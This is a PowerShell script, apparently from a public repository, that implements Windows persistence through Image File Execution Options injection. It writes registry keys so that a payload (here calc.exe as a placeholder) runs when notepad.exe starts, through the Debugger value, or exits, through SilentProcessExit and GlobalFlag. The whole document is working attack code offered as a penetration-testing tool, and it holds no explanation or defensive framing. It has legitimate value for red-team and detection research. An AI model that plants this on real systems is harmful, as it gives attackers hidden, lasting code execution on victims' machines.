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Image File Execution Options Injection - Persistence Technique
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<# | |
ImageFileExecutionOptions v1.0 | |
License: GPLv3 | |
Author: @netbiosX | |
#> | |
# Image File Execution Options Injection Persistence Technique | |
# https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/ | |
function Persist-Debugger | |
{ | |
$Registry = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' | |
Push-Location | |
Set-Location $Registry | |
if(Test-Path "$Registry\Image File Execution Options\notepad.exe"){ | |
Write-Verbose 'Key Already Exists' -Verbose | |
}else{ | |
New-Item -Path "$Registry\Image File Execution Options" -Name 'notepad.exe' | |
$GetRegKey = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe' | |
$GetIFEO = Get-Item -Path "$GetRegKey" | |
$Payload = 'calc.exe' | |
$GetIFEO | Set-ItemProperty -Name Debugger -Value $Payload | |
} | |
} | |
function Persist-GlobalFlags | |
{ | |
$Registry = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' | |
Push-Location | |
Set-Location $Registry | |
if(Test-Path "$Registry\SilentProcessExit"){ | |
Write-Verbose 'Key Already Exists' -Verbose | |
}else{ | |
New-Item -Path "$Registry" -Name 'SilentProcessExit' | |
New-Item -Path "$Registry\SilentProcessExit" -Name 'notepad.exe' | |
New-Item -Path "$Registry\Image File Execution Options" -Name 'notepad.exe' | |
$GetRegKey = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe' | |
$GetReg = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe' | |
$GetIFEO = Get-Item -Path "$GetRegKey" | |
$GetIF = Get-Item -Path "$GetReg" | |
$Payload = 'C:\Windows\System32\calc.exe' | |
$GetIFEO | New-ItemProperty -Name MonitorProcess -Value $Payload | |
$GetIFEO | New-ItemProperty -Name ReportingMode -Value 1 -PropertyType "DWORD" | |
$GetIF | New-ItemProperty -Name GlobalFlag -Value 512 -PropertyType "DWORD" | |
} | |
} |
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